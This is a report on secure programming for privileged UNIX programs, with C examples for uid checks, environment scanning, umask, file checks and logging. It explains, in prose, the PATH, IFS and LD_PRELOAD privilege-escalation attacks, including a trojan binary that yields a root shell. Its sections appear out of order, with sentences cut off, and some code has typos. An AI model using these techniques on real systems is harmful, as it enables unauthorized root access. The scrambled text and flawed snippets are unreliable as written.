There are two fixes for this problem. The first is to compile all privileged programs statically. This is the absolute fix and programmers can guarantee that all of the code in the binary is either their own or from the system libraries. Most compilers have a compile flag that specifically compiles the program statically. However not all operating systems are distributed with complete source code and vendors generally compile programs dynamically. In that case a wrapper which explicitly sets `LD_PRELOAD` (or equivalent) can be used to protect the privileged program and its children.

Some systems may not honor the `LD_PRELOAD` variable. Figure 15a and 15b contain the code to create a simple test of whether or not `LD_PRELOAD` can be manipulated. The system administrator (or programmer) should compile the code from Figure15a into

that the privileged process will spawn during its lifetime.

Another technique to help secure programs from problems in the PATH environment variable is to avoid the usage of certain system calls in the exec family. The functions `execlp()` and `execvp()` search for programs by using the PATH environment variable. If the supplied program name does not start with a '/', the `exec{l,v}p()` call does a directory search using PATH. By explicitly setting the PATH variable, specifying full pathnames for as many external programs as possible and avoiding system calls that use the PATH variable, a process can avoid being tricked into executing the wrong program.

Finding programs that trust the user's PATH variable is difficult if the system administrator does not have the program's source code. The system administrator can unset their own environment and run through all of the operations that a program performs. If an error is generated by the program because it cannot find a binary, it is also possible that a different binary can be substituted.

5.1.2 IFS

The IFS environment variable is used by the shell to determine what it should use as whitespace characters. These characters are used to break up a command line into separate words. However, if a cracker sets IFS to '/', the pathname delineator becomes whitespace.

Figure 13 demonstrates what happens to the code in Figure 11b because of the IFS variable. This is a common piece of code found in servers and programs that spawn subprocesses. The first two lines are what the programmer writes, the third line is what the shell executes.

```
fork();
exec("/bin/sh","-c","/bin/mail userbob");

bin mail userbob
-----------------------------------------------------
Figure 13.  The effects of the IFS variable.
```

The shell created by the `exec()` call inherits the IFS variable from the privileged program. If the privileged program is using an effective user id of root to execute the shell, the resulting command is also run as root. Because of the IFS variable setting, the shell tries to execute a program called "bin" with the options "mail userbob". The cracker can supply a binary named bin if they can set the PATH variable as well. The cracker's program would probably copy the `/bin/sh` binary, turn the setuid bit on using `chmod()`, and ignore any options. At this point the cracker has a root shell.

The fix is to explicitly set the IFS variable during initialization, just like the PATH variable. Then any processes spawned by the privileged program will inherit a trusted

program that the process may execute. When the external programs are executed, they inherit the privileges of the parent process. This very simple attack does not occur often, but it should be protected against. Figure 11a demonstrates a flaw that can be exploited by modifying PATH.

```
system("mail userbob");
```

Figure 11a. Invoking a system command relying on PATH[5].

The problem in this example is that the program trusts the PATH look up to find the correct version of mail. If a cracker creates a binary called "mail" to invoke a shell and resets the PATH variable to ".:${PATH}", the system() call would invoke the cracker's binary instead of the correct system binary. The cracker's version of mail would be executed with the privileges of the parent process. It would be very difficult for the environment check in Figure 4 to be modified to catch this error.

However, there are two things the programmer can do to guarantee that this problem does not occur. The first is to change the system() call to use full path names whenever it is invoked. Figure 11b shows the necessary modification.

```
system("/bin/mail userbob");
```

Figure 11b. Invoking a system command without relying on PATH[5].

Even better, a privileged program should set its own PATH. This ensures that a trusted path will be used by the program and any child processes. Child processes inherit the environment of the parent, so even if the privileged process uses full pathnames every time it invokes another program, the programmer cannot guarantee the child processes will. Because the privileged process can pass its authority level to child processes, it is important to make sure that they are limited to a trusted environment. Figure 12 shows how to set the PATH environment variable for the executing process, and any children it forks off.

```
#include <stdlib.h>
#include <errno.h>
...
char *path;
...
if (0 != putenv("PATH=/bin:/usr/bin:/usr/local/bin:/usr/bsd")) {
  perror("Couldn't set PATH!");
  exit(1);
}
```

Figure 12. Setting the PATH environment variable.

The actual setting of the PATH should be dependent on the default path of the system. This is set in different places though, so a little research may be required to find out the best default path. At the very least it should include a path for every external program

5. Confidentiality Flaws

Confidentiality flaws weaken the mechanisms that separate users from the system and from each other. By exploiting confidentiality flaws, a cracker is trying to get authorization to access data and execute programs with authority they should not have. Since confidentiality is based on authority, and the ultimate authority on a UNIX system is the root account, most crackers try to get access to that account. Sometimes it requires accessing other privileged accounts or groups first. So the same programming techniques used to protect access to root should be employed to protect other privileged accounts, like "mail", or groups, like "kmem". In this section the problems are focused on how a cracker can gain access and authority by misusing privileged programs or providing them with misinformation.

It is important to recognize the difference between setuid programs, and programs run by a privileged account. Programs which are executed by a privileged account either directly or through a batch mechanism start in the privileged environment and do not have to worry about a changing environment. Setuid or setgid processes have to worry about a change of environment[4]. All of the techniques discussed in section four must be used in setuid programs. However a process that is started by a privileged account has more leeway to trust its environment. It can be more trusting of things like its path, command line arguments and interactive input. When one refers to a privileged program, generally this is referring to setuid or setgid programs because they are programs which are expected to be run by non-privileged users trying to do something special. Exceptional cases of privileged programs run only from privileged accounts which still have security flaws will be specifically identified.

A common weakness for privileged programs is input. Dealing with the environment variables and command line arguments have been discussed, but interactive input is also a problem. Interactive input is either data given to the program by the user as it is running or it is the operations that the user performs within the program.

5.1 Environment Variables

As mentioned in section four, environment variables are a prime point of input that have been exploited in several attacks. Specifically, the `PATH`, `LD_PRELOAD` and `IFS` variables have been used in several documented exploits. Privileged programs should reset these variables during initialization. Any other environment variables that the program expects to use should be scanned as shown in Figure 4 to make sure that the input is within specified boundaries and expectations.

5.1.1 PATH

Normally a process inherits the `PATH` variable from the user's environment. If a privileged process makes use of PATH to look up other programs, a cracker can set their `PATH` variable to include the path to a Trojan Horse with the same name as a

The code in Figure 10 assumes that the program is doing some kind of authentication or authorization like the `su` program, thus it uses the `LOG_AUTH` facility. The `LOG_ERR` facility is used as a default level, but the choice of how serious the error is should be based upon whether or not the programmer believes the likelihood that the error is an attack is high or not. If the likelihood is high, the error should be written to a higher level so that it will come to the attention of the system administrator sooner (see the `syslog` man page for a definition of the various logging levels).

In the last year a few security flaws have been discovered (or rediscovered) in the `syslogd` facility. This servers as a reminder that even the mechanisms used to ensure security need to be questioned continuously. There are alternatives to syslog, for example "Secure Syslog" was recently announced as a replacement for the `syslogd` program on UNIX systems. This new version uses cryptography to allow remote log auditing to take place and to guarantee the integrity of the system logs before, during and after an intrusion (or at least to guarantee that the logs have not been changed without the auditor noticing). The original announcement[20] of `ssylogd` comes at a time when more people are looking for the ability to detect intruders before the damage becomes overwhelming.

```
#include <errno.h>
...
char err_string[MAX_ERR_MSG];
...
/* error occurs; see Appendix C for snprintf()*/
snprintf(err_string, MAX_ERR_MSG,
    "%s: descriptive error message.  Errno: %d.", argv[0], errno);
perror(err_string);
exit(1);
...
```

Figure 9. Using errno and perror().

Whether or not a process should return error values of its own is up to the programmer, but any time an exit statement is used to halt the process prematurely, some value other than zero should be used as the argument to `exit()`. If the program is used in some batch processing by the system administrator or other programmers, this will at least give them a flag to determine if an error has occurred. If the process finishes normally, an `exit(0)` statement should be at the end of the program.

From now on, any examples given will either use the `perror()` function or output the `errno` value with a descriptive error message.

4.9 Logging

Along with error messages, logging helps programmers and system administrators to identify the causes of problems. The correct level of logging to use depends upon the privileges that the program has. There are several common logging facilities available on UNIX systems, the most popular of which is `syslogd`. A program that executes with root privileges should make full use of the syslog facilities via `syslog()`, `openlog()`, `closelog()`, and `setlogmask()`. If any errors occur, a brief but explanatory message should be sent to the system log before an error message is generated for the user. The system administrator should be reviewing the syslog regularly for messages that privileged programs are having problems. Figure 10 gives an example of using the syslog library calls to send a message to the system log.

```
#include <syslog.h>
...
/* always prepend program name to log messages */
/* log process id, send message to console and don't block */
/* to wait on child processes */
openlog("program_name", LOG_PID|LOG_CONS|LOG_NOWAIT);
...
/* error occurs here */
syslog(LOG_AUTH|LOG_ERR, "possible attack - %m");
...
closelog();
```

Figure 10. Using syslog from a privileged program.

compiling programs, a programmer should use the full capability of the warning options to find style problems and to clean up the code.

4.8 Error Recovery

Error recovery with privileged programs is simple, never do it[5]. When a privileged process encounters an error, it should attempt to report it (see logging below) and then stop running. If the process tries to continue running after encountering an error, it is possible that it is operating on incorrect data, with incorrect privileges or permissions, or in an insecure environment. A cracker can exploit these conditions to make the program do something unintended. However, if a privileged program exits after encountering an error, the error cannot be exploited. Returning error codes when a process exits is up to the programmer and depends on the intention of the program. However, it is another way of indicating the specific error that occurred and can be very useful for debugging purposes.

Of course, in order to know when an error has occurred, the programmer must check return values in the code. Checking error codes is a time consuming task and can become tedious. However, most library routines on UNIX systems return integer values to indicate whether the routine was successful or encountered an error. Otherwise impossible to achieve values are returned to indicate that an error has occurred. Error values need to be checked to make sure that processing is going smoothly. The man pages for the library calls describe the possible errors that a routine will encounter and most operations make use of the `errno` facility. `Errno` is an external variable that is set to indicate the exact type of error that occurred. After an error occurs and is detected, `errno` should be checked to determine what the error is. The programmer must be careful to save or at least not change the value of `errno` before they use it or the resulting error message will be incorrect.

To see the meaning of the values of `errno`, a programmer can refer to the header file "errno.h" or look at the section two man page titled "intro." These values include memory manipulation errors, file manipulation errors, protocol errors, general I/O errors, child process errors, and so on. A programmer, especially system programmers, should be familiar with the `errno` facility offered on their particular flavor of UNIX and should use it to indicate particular errors that occur during processing.

So far the previous examples have used `stderr` for descriptive error messages. The `perror()` function can be used to combine the `errno` facility with the programmers own unique messages. The `perror()` function takes a single string as an argument and prints out that string followed by a system interpretation of the `errno` value. Figure 9 shows an example of how to use `errno` and `perror()` when an error condition has occurred in a privileged program

Some systems have begun separating system daemons from user daemons using the same technique of assigning the program and file ownership to a special non-privileged user. For example, many web servers are run from a special account with a name like "webserver" or "webmaster." Web servers have a high network profile and it is hard to predict where hits are coming from. So administrators section off a space in the filesystem for the web server account and the web daemon can only access the files it will serve to the public. Meanwhile the rest of the system cannot be touched since the daemon does not have the authorization to access other files.

Besides dealing with the environment, there are a few other techniques a programmer can apply which are not the direct result of known flaws or exploits. Error recovery, logging, and coding style should be dealt with in secure programs. Not applying these techniques does not always create an exploitable security flaw, but it does make security harder to build into the program.

4.7 Code Style

Coding style is unique to every programmer. However developing a readable and consistent style helps to improve the program's security by improving ease of maintenance. Many pieces of code pass through many hands before being released as a final product. If code is hard to read or maintain, it is harder to understand the possible effects that changes to the code will have, which means it is easier to introduce or obscure security flaws in the code.

Doing a thorough code review in the design and implementation phases, as well as during a certification process, is much easier if the code has a consistent style. Style encompasses such things as spacing, commenting, code layout, managing header files, definitions, variable naming, and declarations. The Free Software Foundation has developed a standard called the "GNU Coding Standard[19]." This standard is available via the web to all programmers and covers licensing, library behavior, command line interfaces (including a long list of "standard" options used by GNU software), memory usage, code formatting, comments, variable and function naming, internationalization, as well as external documentation such as manuals, man pages, change logs and configuration or installation. Many programmers and most active system administrators are familiar with the results of the GNU standard because all of the GNU free software adheres to the style guide very closely.

There are also tools that will do style checks for the programmer. The `lint` program is a "C program checker" that looks for program features which are non-portable, wasteful or possible bugs. There is an entire book on how to effectively use `lint`[28], but the man page is very informative as well. `Lint` will also do more restrictive type checking than the compiler and it can find unreachable statements. However, when `lint` is distributed by compiler vendors, it may be optimized to work best on code written primarily for the vendor's compiler. For ANSI C programmers, the GNU compiler has many warning options (-W) which have the same effect as a program like `lint`. When

files. That's why it is necessary make sure that the file is what is expected and not a possible trap set for programs that do not check before they write.

4.5 Signals

While the process is running, it has to protect itself from outside interference. One of the ways that processes communicate is through signals. If a process expects to use signals, the programmer should thoroughly research and understand how signals work and the timing issues involved. For processes that will not use signals, the general default actions inherited from the operating system for each signal are usually safe. However, when the program redefines signals, an opportunity for race conditions is created. The programmer should take care to avoid these conditions.

Sometimes the default action is not secure. In section five, there is an exploit that takes advantage of the default action of a signal. Signals which generate files or do not terminate the program gracefully (file descriptors left open, memory still allocated) should be blocked or ignored. A knowledgeable programmer can also create a default signal handling function that cleans up memory and closes all file descriptors before terminating. If a program does not expect to receive any signals, the easiest way to avoid problems is to exit gracefully or ignore the signal.

4.6 Daemons

Some programs are written to be system daemons. These programs generally provide services that are not part of the operating system. Daemons have their own security problems, mostly to do with authorization. Because a daemon can have special privileges, it is important to limit possible effects to the system. The better defined the function of the daemon, the easier it is to include security in its program.

Daemons are usually started by a privileged service program so that the daemon does not need to run with extra privilege[6]. Many system daemons are written to run as the generic user "nobody". This user has no other privileges on the system, does not need a login shell, and sometimes does not have a home directory. The specific files needed by the daemon are given over to the generic user and the daemon process is started by root switching (using `su` or some other login type command) to the generic user account and issuing the appropriate command(s).

By isolating the authorization of the daemon process and files this way, the system is protected from possible exploitation of flaws in the code. When UNIX was first written, system daemons were run by root as root. This meant that crackers who gained access to the system could immediately begin exploiting programs that have special privileges and lots of system access. Because the user nobody does not have general system access, the authorization of the daemon does not extend beyond the specific files it needs to do its job.

The stat function calls return the attributes shown in Figure 7, taken from "Advanced Programming in the UNIX Environment[17]." Those that concern security are st_uid, st_gid, st_mode. Appendix B contains a listing that demonstrates how to open an existing file or create a new file while avoiding common security flaws. However it is written to be run as a non-root user. If a process is running as root or with root privileges, it has to do some extra checking to avoid overwriting files unknowingly. The extra checking takes the place of system level controls that are suspended in the case of privileged processes.

Figure 8 demonstrates an extra check of ownership and permissions that should be used by privileged processes. This check comes after a file has been opened but not modified in any way (including by the open function itself). The purpose is to make sure that the file is what and where the process expects it to be. In this example, the process expects that the file is a regular file, not a link, and is owned by root.

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/file.h>
#include <string.h>
#include <pwd.h>
...
int fd;
char *file;
struct stat filebuf;
...
if (-1 == lstat(file, &filebuf)) {
  fprintf(stderr, "%s: cannot stat %s!\n", argv[0], file);
  exit(1);
}
/* first check that the file is a regular file */
if (!S_ISREG(filebuf.st_mode)) {
  fprintf(stderr, "%s: file %s is not a regular file!\n", argv[0],
    file);
  exit(1);
}

/* second check that root is the owner, effective uid = 0 for */
/* setuid processes */
if (0 != filebuf.st_uid) {
  fprintf(stderr, "%s: file %s has incorrect ownership!\n",
    argv[0], file);
  exit(1);
}
...
```

Figure 8. Regular file check.

One could also add a check of the file's permissions, for example to make sure that it is supposed to be readable by root. However, root has complete access to any and all

its children.

```
#include <sys/types.h>
#include <sys/stat.h>
...
umask(022);
...
```

```
Figure 6.  Setting the umask value.
```

If a program controls its own environment settings, it can avoid many security flaws. It does take a little extra programming time to include these checks and controls. However, the two minutes spent adding an extra check of file permissions can save hours or more of system downtime. Most crackers are not malicious and most security flaws are not going to give away the system all at once. However a little extra care at the beginning of a programming project can save a lot of recovery time in the event of disaster. Experience over the last two decades has taught many people that lesson.

4.4 Files

The last part of the external environment that the program can check or set is the files that it will use. The file type, permissions and ownership of the file need to be checked right before the file is opened or created. The reason for checking the file before it is used rather than during the initialization of the process is to avoid a flaw called a "race condition," the specifics of which will be dealt with in later sections.

To check the status of the file, the process should use the `lstat()` system call. Of the three stat function calls, when called with symbolic links as arguments, `lstat()` returns information about the link file rather than following the link and returning information about the target file. This will be important when discussing the security flaws later on.

```
struct stat {
  mode_t    st_mode;    /* file type & mode (permissions) */
  ino_t     st_ino;     /* i-node number (serial number) */
  dev_t     st_dev;     /* device number (filesystem) */
  dev_t     st_rdev;    /* device number for special files */
  nlink_t   st_nlink;   /* number of links */
  uid_t     st_uid;     /* user ID of owner */
  gid_t     st_gid;     /* group ID of owner */
  off_t     st_size;    /* size in bytes, for regular files */
  time_t    st_atime;   /* time of last access */
  time_t    st_mtime;   /* time of last modification */
  time_t    st_ctime;   /* time of last file status change */
  long      st_blksize; /* best I/O block size */
  long      st_blocks;  /* number of 512-byte blocks allocated */
};
```

```
Figure 7.  Accessible file attributes using stat() calls.
```

There is a lot going on in this segment of code. The code is shown in context in Appendix A. The important parts are the two loops for reading in the arguments and environment variables. Each string is checked to make sure its length is less than preset values and that each byte in the string is an allowed character (the `safe_str_scan()` function). This scan is based on the principle that everything is disallowed except that which is specifically allowed. The `safe_str_scan()` function is based on a character map that by default disallows everything except alphanumeric characters.

Beyond a general scan of the environment variables, a secure program should be concerned with the current working directory. The current working directory should at least be defined. If the program is going to open temporary or working files, it should first set the working directory to a safe temporary working area.

```
#include <unistd.h>
#include <limits.h>
#defind SAFE_TEMP_DIR "/some/safe/directory"
...
char *path;
...
if (NULL == getcwd(path, PATH_MAX)) {
  fprintf(stderr, "%s: Current directory undefined!\n", argv[0]);
  exit(1);
}
if (0 > chdir(SAFE_TEMP_DIR)) {
  fprintf(stderr, "$s: Cannot chdir to safe area!\n", argv[0]);
  exit(1);
}
```

Figure 5. Checking the current working directory.

Figure 5 shows how to get the current working directory. It uses a system constant, PATH_MAX to limit the length of the string that is placed in the character pointer, "path." By using system constants, the program will be more portable and more secure. The code also sets the working directory to a safe temporary area determined by the programmer.

4.3 Umask

An environment setting not contained in an environment variable is the umask setting, used by the program when files are created. The umask controls the default permissions assigned to a file when it is created. The marked permissions in the mask indicate what permissions not to set on new files. Since a process inherits its umask as part of the environment it runs in, a programmer should take steps to guarantee that files are created with no more permissions than needed. Figure 6 shows how to set the umask as part of the initialization of a privileged process. The setting removes group and other write permissions from any new files or directories created by the process, or

come with source code. See Appendix A for the full source and an explanation of how to use wrappers as a system administrator. Before scanning the input, a check is made to ensure that some environment exists. If it does not exist the program exits on the assumption that the program is being executed in a strange fashion. If the program is supposed to execute in a situation where no environment is defined, the programmer should remove the first `if` statement.

```
#include <stdio.h>
#include <sys/types.h>
...
/* Check that an environment is defined. */
if ( NULL == envp[0] ) {
  fprintf(stderr, "%s: No environment!\n", argv[0]);
  exit(1);
}
/* Check all args.  Exit if any args have length > MAX_ARG or */
/* contain strange characters. */
for (i=1; i<argc && argv[i]!=0;i++) {
  /* See appendix A for full details of safe_str_scan() */
  check = safe_str_scan(argv[i],MAX_ARG,&length);
  if (check<0 || check>MAX_REMAP) {
    fprintf(stderr, "%s: '%s'\n", argv[0],
    check==-2?"Excessive argument length":
    check==-1||check>0?"Invalid characters in argument":
    "Internal error processing argument");
    exit(1);
  }
}
/* Check all of envp.  Throw out any environment variables */
/* which aren't in allowed_env[].  allowed_env[] can differ */
/* for different programs.  Array is defined globally. */
/* Exit if any envp[] have length > max_len or contain */
/* strange characters. */
for (i=j=0; envp[i]!=0; i++) {
  for (k=0; k<NUM_ALLOWED_ENV; k++) {
    if (0 == strncmp(envp[i], allowed_env[k].env,
                                        allowed_env[k].name_len))
      break;
  }
  if (k!=NUM_ALLOWED_ENV) {
    /* See appendix A for full details of safe_str_scan() */
    /* and allowed_env[] */
    check = safe_str_scan(envp[i], allowed_env[k].max_len +
                                allowed_env[k].name_len, &length);
    if (check<0 || check>MAX_REMAP) {
       fprintf(stderr, "%s: '%s'\n", argv[0],
       check==-2?"Excessive environment variable length":
       check==-1||check>0?"Invalid characters in environment":
       "Internal error processing environment");
      exit(1);
  }
  envp[j++]=envp[i];
}
```

Figure 4. Checking the command line and environment variables.

When it comes time to actually perform a privileged task, the process should reset its effective uid, do what it needs to and then drop the privileges again. This is known as the least privilege[6] principle. A process only maintains the privileges it needs to perform its operations and gives them up immediately after they are no longer needed. Figure 3 shows how to manipulate the effective userid around a segment of privileged code.

```
#include <stdio.h>
#include <sys/types.h>
...
/* Reset effective uid to privileged uid */
if (0 > seteuid(e_uid)) {
  fprintf(stderr, "%s: cannot reset euid to %d!\n",
                                        argv[0], e_uid);
  exit(1);
}

/* Perform the privileged operation. */
...

/* Drop the privileges again. */
if (0 > seteuid(r_uid)) {
  fprintf(stderr, "%s: cannot reset euid to %d!\n",
                                        argv[0], r_uid);
  exit(1);
}
```

Figure 3. Manipulating the effective user id

By manipulating the effective id in this way, the window of security exposure is limited to only the actions that need to be performed with higher privilege. If it was not possible to switch the effective id, the entire program would run with higher privileges and more opportunity for an exploitable security flaw would exist. The smaller the privileged sections of code, the less likely a flaw will exist.

4.2 Environment Variables and Command Line Arguments

Besides the userid, two more checks that need to be done during process initialization are reviewing the environment variables and command line arguments that the program intends to use. There are several security flaws that can be exploited by manipulating the command line arguments or the environment variables because they are points of input into a privileged program. These exploits can be avoided by scanning the input before using it, and by setting some of the variables explicitly rather than relying on the user's input. Specific issues with environment variables are detailed more fully in section five.

Figure 4 contains two simple loops that run through the command line arguments and environment variables checking that they have expected lengths and characters. This code is from a security wrapper used to add protection to setuid binaries that do not

```
e_uid = geteuid();

/* Look for the user in the passwd file */
pw = getpwuid(r_uid);
/* If not found, generate error and exit */
if (pw == NULL) {
  fprintf(stderr, “%s: UID %d not found in the
    passwd file!\n”, argv[0], r_uid);
  exit(1);
}

/* Make sure that effective uid == real id */
if ( r_uid != e_uid) {
  fprintf(stderr, "%s: REAL UID %d not equal to
    EFFECTIVE UID %d!\n", argv[0], r_uid, e_uid);
  exit(1);
}
```

Figure 1. Checking the user ID exists and matches the effective user ID.

Figure 1 shows the code to perform the two user id checks to make sure that the user exists and is executing the process under their own id. However, in the case of setuid programs, the intent of the program is to do something the user usually cannot. In that case, the program should immediately set the effective user id to the real user id. Figure 2 shows the code to use in the initialization of a setuid process based on the discussion of userids in Stevens' "Advanced Programming in the UNIX Environment[17]."

```
#include <stdio.h>
#include <sys/types.h>
...
uid_t r_uid, e_uid, s;
struct passwd pw;
...
/* Get the real and effective user IDs */
r_uid = getuid();
e_uid = geteuid();

/* Look for the user in the passwd file */
pw = getpwuid(r_uid);
/* If not found, generate error and exit */
if (pw == NULL) {
  fprintf(stderr, “%s: UID %d not found in the
    passwd file!\n”, argv[0], r_uid);
  exit(1);
}
/* Reset effective uid to real uid */
if (0 > seteuid(r_uid)) {
  fprintf(stderr, "%s: cannot reset euid to %d!\n",
                                        argv[0], r_uid);
  exit(1);
}
```

Figure 2. Checking the user ID in setuid programs

time, the easier review and modification will be in the future. Object oriented techniques may also be employed to improve security. However, structured programming is the norm for system programming. In the future more system programs may be written with object oriented languages, but that is beyond the scope of this research.

The DOD's TCSEC program requires that multiple people review program code and design before it can be given an A rating[21]. The development team should have already performed this task by using group reviews and formal inspection techniques during the design, implementation and testing phases. One of the tasks of these reviews should be to specifically review the security of the code. This eliminates problems that could require recoding later when side effects are more disastrous. Code reviews ideally also pass on secure programming techniques to new developers.

When a privileged process begins execution, it should check the environment settings as well as the permissions and status of any initial files it will use. All design and implementation assumptions should be explicitly verified[6]. If an assumption is false, an informative error message should be generated (possibly continuing information from the system level) and the process should terminate. The "assumptions" that a process can test for are the id of the user executing the process, the current environment variable settings, access to any files that the program needs, signal handling functions, and the available instruction set.

4.1 Userids

There are two checks to perform against the user's id. The first is to check that the user actually exists on the system and the second is to check that the user should be running the program. Checking the existence of the user is a simple search of the password file. If the user does not exist, a message to the system logging facility (SYSLOG) should be generated and the program should exit.

Checking that a user has the authorization to execute the program depends upon what the program is supposed to do. Generally, authorization is limited by the access permissions on the program. This way the kernel controls who can execute programs and who cannot. Beyond the access settings, the program should make sure that the effective and real userid are the same. In general, users executing programs should be doing so under their own userid. There are few situations where users should be trying to execute programs as other users. The program should be aware of those situations and handle them appropriately, otherwise it should generate an error message and exit.

```
#include <stdio.h>
#include <sys/types.h>
...
uid_t r_uid, e_uid;
struct passwd pw;

/* Get the real and effective user IDs */
r_uid = getuid();
```

4. The Programmer's Environment

It is the programmer's responsibility to understand what can affect the security of the code. The environment in which the code is written is a major factor in the resulting security of the final program. Therefore it is important that the environment be understood by the programmer from the outset.

The programmer's environment is created by the operating system, account configuration files, the compiler, and any other programming tools the programmer might use. From a process's perspective, the environment contains the environment variable settings, command line arguments, any signals requiring processing, and open file descriptors. These influences can be secured by consistently using some or all of the following techniques.

When programmers start programming, they should have personal responsibility for the specific code they are developing[6]. When one programmer is writing the entire program, that programmer is responsible for the security of the entire program. In a group effort, one person may be assigned to a specific module, object or routine. That person should then be responsible for the code in that routine.

Whenever something has to be changed, the entire group discusses the change and agrees upon it, but the individual who "owns" that portion of the code should implement the changes[6]. By having personal responsibility for portions of the code, whatever development procedures (ex: SCCS procedures, consistent file ownership, checkout and check in procedures) are used can be controlled by a single person who guarantees that the procedures are completed. If multiple people manage the development of a piece of code, it is possible that a procedure will be missed inadvertently or modifications made without other team members knowing. This is how flaws are introduced and then escape proper reviews.

The approach that each programmer takes to writing code is different, but each individual should work consistently and apply structured programming techniques to their own code[6]. By programming in a consistent, structured, well-documented manner, the resulting code is more readable and more easily maintained. This makes security easier to maintain as well. Once a reviewer or maintainer understands how the code is written, it is much easier to modify or analyze the code. However when no structure is used and the code style changes, with no explanation, it is easy to miss security flaws in the code and future changes can introduce more security flaws.

Some structured techniques that help security are commenting, declaring program constants in header files, many short procedures, checking the return code of every system call, no gotos, and explicit procedure declarations in header files. These techniques increase readability and maintainability. Not employing these techniques does not create security flaws, but the more work that the programmer does ahead of

On the other hand, the same problems that compromise confidentiality or integrity can exist in the programs that implement network access. This gives crackers opportunities to disable the networking capability of the computer. In UNIX, this can be equivalent to disabling the computer, depending upon its configuration. Currently "syn flooding" is probably the most famous example of an attack on availability. In this attack, a certain type of packet is sent to the target system repeatedly until it is overwhelmed with the work it must do to respond to all of the packets it is getting. This report will focus more on programming flaws that can compromise availability rather than manipulations of the network protocols. However there are several references to information about those types of attacks in the Works Consulted section at the end of the report.

When a security flaw is exploited, it negates one or more of the three security properties. At that point the security of the entire system is compromised. The amount of work that system personnel should put into protecting these properties should be determined by the amount of damage that will occur when one is compromised. Many systems are not secured at all because they are not used to do anything valuable. Typically single user desktop systems fall into the low priority category. In these cases the necessity for the existence of the three security properties is low (as long as the system is not used to do valuable work). However, in other systems, these three properties are necessary to trust the results generated on the computer. Thus they have high priority and so the system has to be very secure. Super computers and classified research require controlled, secure environments and software. This trade-off is determined through risk analysis and understanding the usage of the system.

is necessary, or left the same as when the file is accessed. A user should have to take specific actions to "declassify" data, ie. lower the authorization required for access.

There are several system calls that should be used to check file status before a file is manipulated. These system calls read the file access attributes from the file system and should be used for comparison against the process's running attributes. Most times the operating system makes sure that a process does or does not have access. However, when a process is running with special privileges there is an added danger that the process can be tricked into accessing files it normally should not. Some of the exploits are called "race conditions" and others are called "symlink attacks." In both cases the cracker is trying to manipulate the file after the process has established the user's authority to access the file. If the cracker can manipulate the file, they can gain access to the user's data or system files.

Some of the current major exploits (methods to circumvent or break a system's security mechanisms) use temporary files which are created with guessable names. The programmer needs to ensure the uniqueness of the file name as well as protect the contents of the file created. But this requires work that many programmers do not do and other programmers do not know how to do. Because the usage of temporary files is not done correctly, the opportunity frequently exists to compromise the data or the entire account.

3.3 Availability

Availability means having "timely, reliable access to data and information services for authorized users[23]." Availability used to only concern physical security and system administration. As long as only authorized people had access to the facility and as long as the system was not suffering from hardware problems, it could be counted on to be available and the data accessible to authorized users.

Now that networking is more prevalent, availability is a more general security concern. Crackers who are not on the system can make it unavailable to the users who login from the network or at the site, using "denial of service" attacks. By manipulating the information passed to a computer system or overwhelming it with too much information, a cracker can cause it to not respond to authorized connections. They can also affect the performance of a system negatively in the same ways.

Some of the flaws that crackers use to compromise availability are not specific programming errors but are manipulations of the underlying protocols. Fixing these flaws will require modifying the protocols themselves (a major undertaking) or adding security devices to the computer system. For example, adding a firewall or router with filtering capabilities can protect a local computer network from some of the flood attacks which are used to overwhelm the computer's ability to deal with network traffic. The problem is that the protocols are old and were not developed with security in mind, only robustness.

logs into the system, they are limited by the operating system according to their privileges. However specially privileged processes, such as setuid or root owned processes are allowed to bypass the normally privilege mechanisms. A root owned process can access any file, execute any program, and modify any attributes of the system. Therefore it is necessary that the system administrator and the programmer work to limit the possible side effects of specially privileged processes.

3.2 Integrity

Integrity is the "quality of an information system that reflects the logical correctness and reliability of the operating system; the logical completeness of the hardware and software that implement the protection mechanisms; and the consistency of the data structures and occurrence of the stored data. In a formal security mode, integrity is interpreted more narrowly to mean protection against unauthorized modification or destruction of information[23]." Verifying the integrity of a computer system or computer software is the equivalent of working for level A certification in the DOD TCSEC[21]. It is also the most difficult process to complete automatically.

Program correctness and programmatic verification are ongoing areas of research. However, in computer security, one is more concerned with verifying that a process or user cannot access or destroy information for which they are not authorized. According to the TCSEC[21], verification review should be performed by multiple, knowledgeable, experienced persons. Source code should be read through and checked for flaws manually. All possible paths of data flow need to be tested for security flaws.

Every file on the system is assigned a set of access attributes. These attributes control who has read, write, and execute access by user, group, and the world. In UNIX systems, the various combinations of these attributes are all that controls who can see and modify an individual's data and files. In systems which are built with more security or have security software layered on top, there are more complicated access attributes called mandatory access controls (MAC) or discretionary access controls (DAC). These provide more specific control over who has authorization to access and execute files.

The operating system uses the access attributes to allow or disallow users and processes the abilities to read, write, or execute files. Generally these abilities are granted to the owner, an owning group, or everyone on the system. More advanced access permission controls create more divisions. However, for privileged processes, the access controls are suspended. Root owned processes can either access or change the access attributes of any file on the local system. This means that privileged processes have to have access controls or checks built into the program.

When a process creates files, opens files for reading or modification, or executes other programs, it should check the access attributes before and after the operation. Every time a file is accessed in some way, the process should guarantee that it is not opening up the file to unauthorized users. The permissions need to be reset when more control

3. What is Computer Security: Confidentiality, Integrity, and Availability?

A secure system is characterized by the three properties which have been mentioned before; confidentiality, integrity, and availability. According to the DOD, computer security consists of those "measures and controls that ensure confidentiality, integrity and availability of information system assets including hardware, software, firmware, and information being processed, stored, and communicated[23]."

The programs that run on a secure system must enforce these properties upon any information and hardware they can access. Programmers must incorporate these properties into any new programs they write, and they should be added to programs already written and running. That is exactly what this research and report is about.

3.1 Confidentiality

Confidentiality is the "assurance that information is not disclosed to unauthorized entities or processes[23]." Confidentiality is established and maintained by the correct usage of authorization and authentication mechanisms. Users and processes need to establish their identity through authentication and then use authorization mechanisms correctly to maintain confidentiality. If a cracker is able to overcome or subvert that authorization, they have broken the property of confidentiality needed in a secure system.

Most security flaws addressed in this report are a violation of some system privilege. However the flaws which directly affect the authorization structure of the system are more serious (from a confidentiality viewpoint) than those which are limited to modifying or destroying data files, denying access to the data and system, or interrupting the smooth operation of the system. Flaws which allow a cracker to gain higher levels of authorization allow them to do all of the above actions as well as hide their actions and initiate attacks on other systems.

